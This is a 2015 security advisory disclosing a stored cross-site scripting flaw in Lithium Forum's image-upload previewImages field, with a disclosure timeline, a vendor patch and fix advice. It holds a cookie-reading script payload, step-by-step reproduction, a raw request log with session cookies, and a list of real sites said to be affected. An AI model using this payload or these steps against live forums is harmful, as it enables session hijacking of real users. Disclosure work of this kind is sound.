Document Title: =============== Lithium Forum - (previewImages) Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1520 Release Date: ============= 2015-12-18 Vulnerability Laboratory ID (VL-ID): ==================================== 1521 Common Vulnerability Scoring System: ==================================== 4.6 Product & Service Introduction: =============================== Lithium Technologies provides social customer experience management software for the enterprise. Headquartered in San Francisco, Lithium has additional offices in London, Austin, Paris, Sydney, Singapore, New York, and Zürich. Lithium was founded in 2001 as a spin-out from GX Media, which created technologies for professional rankings and tournaments and now hosts a number of popular gaming sites. The company`s founders include brothers Lyle Fong and Dennis Fong, who together also founded GX Media, as well as Kirk Yokomizo, John Joh, Nader Alizadeh, Michel Thouati, Michael Yang, and Matt Ayres. The company sells largely to enterprise customers, including HP, Best Buy, Research In Motion, Sony, Comcast, Symantec, and AT&T. (Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/Lithium_Technologies ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Lithium Forum online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-06-13: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH) 2015-06-15: Vendor Notification (Security Team) 2015-09-30: Vendor Response/Feedback (Security Team) 2015-11-12: Vendor Fix/Patch (Developer Team) 2015-12-18: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Lithium Technologies Product: Lithium Forum - Web Application (API) 2015 Q2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side input validation web vulnerability has been discovered in the official Lithium Forum online service web-application. The vulnerability allows remote attacker to inject own malicious script codes to the application-side of the vulnerable module/function. The vulnerability is located at the previewImages value of the file upload module. Remote attackers are able to inject malicious script codes to the file upload module POST method request to compromise the `Community > Albums (unmoderated%3Amedia)` module. The attack vector of the vulnerability is located on the application-side of the service and the request method to inject is POST. The execution point is the vulnerable Albums listing service. Due to the testings and research we figured out that several high class vendors using the commercial lithium web-application like ebay, vodafone, paypal, microsoft, skype and sony. The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.7. Exploitation of the persistent web vulnerability requires a low privilege web application user account and low user interaction (click or forward). Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects, persistent load of malicious script codes or persistent web module context manipulation. Affected Request Method(s): [+] POST Vulnerable Module(s): [+] Lithium Forum - Community > File Upload (Image) Vulnerable Parameter(s): [+] previewImages Affected Service(s): [+] Lithium Forum - Community > Albums (unmoderated%3Amedia) Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Register an lithium forum account and login to the web-application 2. Open link /t5/media/gallerypage 3. click add images 4. Upload image with name ">.png 5. Click select an album and save 6. The first execution of the payload occurs in the comment delete function the second execution occurs in the album to authorize listing 7. Successful reproduce of the vulnerability! PoC: Delete Comment - Lithium Forums
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Re: ">.png">.png

PoC: Album Title - Lithium Forums
--- PoC Session Logs [POST] --- 14:45:03.620[1031ms][total 1031ms] Status: 200[OK] POST http://community.[WEBSITE].com/t5/media/v2/gallerypage.albumgallerylist.selectanalbumform.selectanalbumform.form.form Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Content Size[-1] Mime Type[application/json] Request Headers: Host[community.[WEBSITE].com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0] Accept[application/json, text/javascript, */*; q=0.01] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] Cache-Control[no-cache] Lithium-Ajax-Request[true] X-Requested-With[XMLHttpRequest] Referer[http://community.[WEBSITE].com/t5/media/gallerypage/] Content-Length[3326] Cookie[s_pers=%20s_fid%3D18958A2959B2CD22-1F06A54A4BDFB94B%7C1497269566320%3B%20gpv_p23%3Dskypeloginweb%252Faccount%252Flogin_simplified%7C1434112966327%3B%20s_nr%3D1434111166331-New%7C1497183166331%3B; s_vi=[CS]v1| 2A928C6305013CDB-400001382002F848[CE]; mbox=PC#1432859941701-111791.21_17#1436700441|session#1434106714032-264052#1434110301|check#true#1434108501; MSFPC=ID=062a86ae8adbf044abf02f8708319e16&CS=3&LV=201505&V=1; skype-cookie-policy=1; __CT_Data=gpv=8&apv_22_www11=8; WRUID=0; tracking=1434108546387; LithiumVisitor=~2c1cgdFkzzMj5Napg~StPIAaB4_OrKdyO2o1kCw707YFWdnGRjkSBKJL6tk2l-TZiNYlVObacrYuY4G8vGnal2U1Twf1HueGwOcwXvog..; VISITOR_BEACON=~2Wncmgwy7hMsvHUUf~68A- kBIyCSC2n6uJH5bMCMpaubUmaYGYbE83LI5dQN9_c8wihHK5UBdAMMH4cDeKZbEi40VSbRXbMiqFVqa31Q..; SC=CC=:CCY=USD:ENV=:LC=en:LIM=:RS=d:TM=1434111166:TS=1434111166:TZ=:UCP=:VAT=:VER=; LiSESSIONID=BF04C8F9D98D2642CBAC3643B886CB89; s_ria=flash%2011%7C; s_sq=%5B%5BB%5D%5D; s_sv_sid=346493096323; frmrgtpe=1-4; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __atuvc=7%7C23; LithiumUserInfo=9034556; suuid=cf385a5c-4d49-4a18-8612-dc3bf0d25925; ecsEligibility=1; s_cc=true; s_fid=1D6C86567438D711- 3C4FBDB481E7BEE1; gpv_p23=support%2Fforum%2Ft5%2Fmedia%2Fgallerypage%2F; s_nr=1434116701473-Repeat] X-Forwarded-For[8.8.8.8] Connection[keep-alive] Pragma[no-cache] Post Data: submitContext[true] liaFormContentKey[MediaGalleryPage%3A%3Aalbumgallerylist.selectanalbumform.selectanalbumform.form%3A] t%3Aformdata[7IILDleLbu0mW2%2FEd3xk2hw8Ujw%3D%3AH4sIAAAAAAAAAO1YTUwTQRQeIAjyJxJFYjxwQAIK21KKQdQYRH40BAlVoh7A6XZaRmd%2FmJ122xg9efDgxZM3ExNvigc9eCMGDgYOXjRejYlXEyPGi5I4s9tCFZFuw1QOvXTTefPe%2B %2Ba9b968maefQbk9AcY1FMHQlwj4hiEhiKbGYQz1QRKOazF3gGCLKRYiSGVQdwRRg2p %2FGSGGYU77LQoUg8YUaEJ1BikMmshiNNWjqAZFBIf5VzMNHenMUka5RkvgqxltH258croUgKS5IyB1v2q7M9L9bQ7IgtQ1C26DElmGyyQY7vYcxJ7OC0vv28HNJVlB9A6p68qnuZXoy7ePZEIa8wRpgsu5KMQgQ0PU0ELiX2SAYD5lEpI46nyw8O4uaF4tBSWjoFpdFzDQMHodJqCPQD3mCzGK9diJpMlArUlRAiP7n MYXY9lXweXtW6VJDRNRluIGOVC%2B2j6C2QyOa4qNwoHs1RGsjKcnDzqTW0KIxc1BPYGpoWt8zvm9pbMfun2dzsoqM5YFgXcnTfGptofBYL7Y00HAThA40J5%2FpiUMLaT0h%2FkgVNkQRiTiwj18abH64%2F7XP9PRN3RGDTIGNZSGuSHa24i43ytiHm%2BVa4biYQ1bFjb0xWeRYPT7wzcu3eUS4WTuRBggCOq %2FUUGbnL%2FVPHLgx84pFUHZp5J3SMf89V96px7fOyUNkiC1jKbAMVwhJYjCciUDexzBBIxgwymlUskufNaIn4N2APjDxFBv%2BLIpfkaMWJnKyFNoRBUqoMWoETd53ntzzbuzoGGh5Zaj%2B%2F75jhd1Kwubl6MquqaSJ7hgHuC6lpPLy89Dq %2FMuNTvAkdwciyS6pPOsUuFNJUOUSpTkWedHpXePjfl5LNORLd2ZUGmSSXrhYJ%2Bs0tAoszSUO4LCFITWXLLmmhO%2BHMW6NYiedIVqQzHjfxpuKp6L2eSvcgQXMSMFOhKP2m2gdUsWO5eVDPuzMeasXKT%2FpjmvMClOQDVVmIT782ozhOYhBmrWu5XpvAwJO807ud%2FYZcbDBKsF6zbc5PMGuNhx %2FLcNWO8IziJLpdhk%2FB5emJ143G4FLVslkKHkWtuxEWeOBorFt2C9R5csxH5ZhoOy3raD7tv2NTC1fYYt8VbG0h9xn87aHrXu6IA7Kt%2Bvu6skxa3xF5HWtbXwGQAA] lia-action-token[8wKnTjwo4bb2thl22pKiJBXOC1PEHRQ83H8Alp2ozHbtM4AP3b02djR5es-q93dO] form_UID[form_0] form_instance_key[] previewImages[%5B%7B%22id%22%3A+%22upload_7822102130113419863.png%22%2C+%22title%22%3A+%22%5C%22%3E%3Cimg+src%3D%5C%22x%5C%22+onerror%3Dalert(document.cookie)%3E.png%22%7D%5D] radioGroup[existing] album[AlbumByUidRef%5Buid%3D81482%2ChashCode%3D-226237822%5D] submitContextX[Submit] eventListeners[%5B%5D] parameterOverrides[%7B%7D] triggerEvent[submit] eventTargetId[form_0] renderedScripts[AC_RunActiveContent.js%2CLoader.js%2Cjquery.ui.core.js%2CSpoilerToggle.js%2Cjson2.js%2CSelectAnAlbumForm.js%2CAjaxFeedback.js%2CForceLithiumJQuery.js%2CFormActions.js%2Ccontrol.js%2Cjquery.tmpl-1.1.1.js %2Cjquery.appear-1.1.1.js%2Cjquery.lithium-selector-extensions.js%2CDialog.js%2CLithium.js%2Cjquery.fileupload.js%2CElementMethods.js%2CAjaxSupport.js%2Cjquery.ui.position.js%2Cjquery.function-utils-1.0.js%2CSurveyLauncher.js %2CInputEditForm.js%2CUserNotificationWidget.js%2Cjquery.ui.dialog.js%2Cjquery.delayToggle-1.0.js%2CAngularSupport.js%2CCustomEvent.js%2Cjquery.effects.core.js%2CNamespace.js%2Cjquery.autocomplete.js%2Cjquery.ui.widget.js%2CForms.js %2CTooltip.js%2CDeferredImages.js%2CURI.js%2Cjquery.position-toggle-1.0.js%2Cjquery.blockui.js%2CInformationBox.js%2Cjquery.scrollTo.js%2CCache.js%2CSearchForm.js%2CProgressBar.js%2CDropDownMenu.js%2CUploadImages.js %2Cjquery.tools.tooltip-1.2.5.js%2Cjquery.css-data-1.0.js%2CAutoComplete.js%2Cjquery.ui.resizable.js%2Cjquery.hoverIntent-r6.js%2CAlbumGalleryList.js%2Cjquery.ui.mouse.js%2CSearchAutoCompleteToggle.js%2CNoConflict.js%2CComponents.js %2CLiModernizr.js%2Cjquery.clone-position-1.0.js%2CEvents.js%2Cjquery.js%2Cjquery.effects.slide.js%2Cjquery.js%2Cjquery.viewport-1.0.js%2CAuth.js%2Cjquery.progressBar-2.0.js%2Cjquery.iframe-transport.js%2CSandbox.js%2CText.js %2Cjquery.ui.draggable.js%2Cjquery.iframe-shim-1.0.js%2CVideo.js%2CLink.js%2Cjquery.ajax-cache-response-1.0.js] Response Headers: Date[Fri, 12 Jun 2015 13:46:53 GMT] Server[Apache] Set-Cookie[LithiumVisitor=~290UiXxXoETkeu1nM~5vPEVuim9QmJv9pRiYmBHkDC8CwUS_hMrnvLMDUNLTE012Hz10GoXfKuOOhQwcq4jwCOllPfclmujZ6mZ-huZg..; Expires=Mon, 09-Jun-2025 13:46:53 GMT; Path=/] X-Robots-Tag[noindex, nofollow] Vary[Accept-Encoding] Content-Encoding[gzip] Connection[close] Transfer-Encoding[chunked] Content-Type[application/json;charset=UTF-8] Reference(s): http://community.[WEBSITE].com/ http://community.[WEBSITE].com/t5/ http://community.[WEBSITE].com/t5/media/ http://community.[WEBSITE].com/t5/media/v2/ http://community.[WEBSITE].com/t5/media/v2/gallerypage.albumgallerylist.selectanalbumform.selectanalbumform.form.form http://community.[WEBSITE].com/t5/media/gallerypage/user-id/9034556/image-id/123916i2C803A8AFE9DD0B6#comment-on-this?signature=bsYErEEjpFgnakjT4pOqoooHFDCHKY19IC1cvZuo9y5NG7monEaibztSr67t7qgViFgmuBAVR5r30da7Vfr2xl25lkOU4y1ezEQM3PzH %2BlwqKDnuRpL8WVRXj51ZS6a8gkZXXNipswScC%2Ba0BTZ7PI0jw9%2FpjDdRAYLJL8T%2FdYfcLcM3znBtJ5Ne8vUlKpiPrKCICW%2BXP%2FRzRVy9GIaZCgYjWwziJS1e %2F8EEJSPMkpXrQYOtADjZpgoIGjAA8%2FJPkoOXJHN7n1%2BRGXv4ch7LECp7AHIT3zwTw7Q2ryL0h3DxlARSExceqzgaiWYfmlUi02IQKIbP09b%2Fyh4acr65Rg%3D%3D&date=2015-06-12+13%3A29%3A17&expiration_date=2015-06- 14+13%3A29%3A17&partner_id=b38bf07d4373f92f5932f9e2887a32e0&skypename=live%3As-dz http://community.[WEBSITE].com/t5/media/gallerypage/image-id/123916i2C803A8AFE9DD0B6/user-id/9034556#feedback-success http://community.[WEBSITE].com/t5/premod/moderationitemspage/tab/unmoderated%3Amedia Vulnerable Site(s): http://www.amazon.de/Remington-HC5880-Indestructible-Haarschneider-Lithium/forum/ https://www.paypal-community.com/t5/US-PayPal-Community/ct-p/US http://community.ebay.com/t5/A-Part-time-eBay-Sellers-Group/Who-is-Lithium-Technologies-Inc-Found-under-Selling-preferences/td-p/20151642 https://www.en.adwords-community.com http://forums.verizon.com/t5/media/v2/gallerypage/image-id/638iEE72EA794E7870E8 https://forums.att.com/t5/media/v2/gallerypage/image-id/26748i32A2C4F5F1C76A16 http://community.[WEBSITE].com/t5/media/v2/ https://community.linksys.com/t5/Media-Hub/bd-p/TechnicalSupport2 http://community.eu.playstation.com/t5/media/v1/gallerypage/user-id/966029/image-id/435278i77B3FF47F3F21BDC http://forums.xfinity.com/t5/media/v1/gallerypage/user-id/54009/image-id/22931i058474C6376CA295 http://communaute.orange.fr/t5/media/v2/gallerypage/image-id/5449i26E3C94BD827C963 https://discussions.apple.com/thread/5737090 http://h30434.www3.hp.com/t5/media/v1/gallerypage/user-id/314019 https://supportforums.blackberry.com/t5/media/v2/gallerypage/user-id/139560/image-id/1246iF4B7A821A8A944B2 http://talk.hbo.com/t5/media/v2/gallerypage/user-id/1111009/image-id/960iDD3175E57CEBE367 http://community.f-secure.com/t5/media/v2/gallerypage/user-id/365/image-id/758iE470659201B00CF8 https://talk.sonymobile.com/t5/media/v2/gallerypage/user-id/202/album-id/2677 https://forums.lenovo.com/t5/media/v1/gallerypage/user-id/230839/image-id/15043i91D84DDE92BD3F70 http://forums.juniper.net/t5/media/v2/gallerypage/image-id/11433i62DB8B9E0B7C364F http://my.teslamotors.com/forum/forums/10kw-laser-powered-lithium-ion-batteries http://www.wallstreet-online.de/diskussion/500-beitraege/1058177-1-500/lithium-technology-umsaetze-ziehen-maechtig-an#beitrag_21444129 https://telekomhilft.telekom.de/t5/Media-Receiver/ http://www.banktech.com/channels/commonwealth-bank-to-launch-online-social-forum/d/d-id/1296418? http://community.saturn.nl/t5/media/v2/gallerypage/image-id/3567i79CFA668259C2A53 https://community.o2.co.uk/t5/media/v2/gallerypage/image-id/13061i577034177A010DF2 https://community.spotify.com/t5/media/v2/gallerypage/image-id/2141i7CDD8F7C1499E4D0?nospellcheck=true&q=_change_me_ http://talk.sonymobile.com/t5/media/v2/gallerypage/tab/albums http://community.us.playstation.com/t5/media/v2/gallerypage/user-id/750008 https://forum.vodafone.co.uk/t5/media/v2/gallerypage/page/3 http://community.usa.canon.com/t5/media/v2/gallerypage/image-id/5609i91277716BCCDFCE2 https://forum.sfr.fr/t5/media/gallerypage/ http://forum.kpn.com/t5/media/v2/gallerypage/image-id/5699iD073361E6D1D16C6 http://comunidad.orange.es/t5/media/v2/gallerypage/image-id/2497i8215FB441CC86FD3 https://forums.cat.com/t5/Electric-Power-Generation/ct-p/EPG Solution - Fix & Patch: ======================= Parse and encode the title name of the albums and files to prevent persistent script code execution through the api. Restrict the input and disallow usage of special chars as album name value. Security Risk: ============== The security risk of the persistent input validation web vulnerability in the album value is estimated as medium. (CVSS 4.6) Credits & Authors: ================== Vulnerability Laboratory [Research Team] – Hadji Samir (samir@evolution-sec.com) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt # Iranian Exploit DataBase = http://IeDb.Ir [2015-12-23]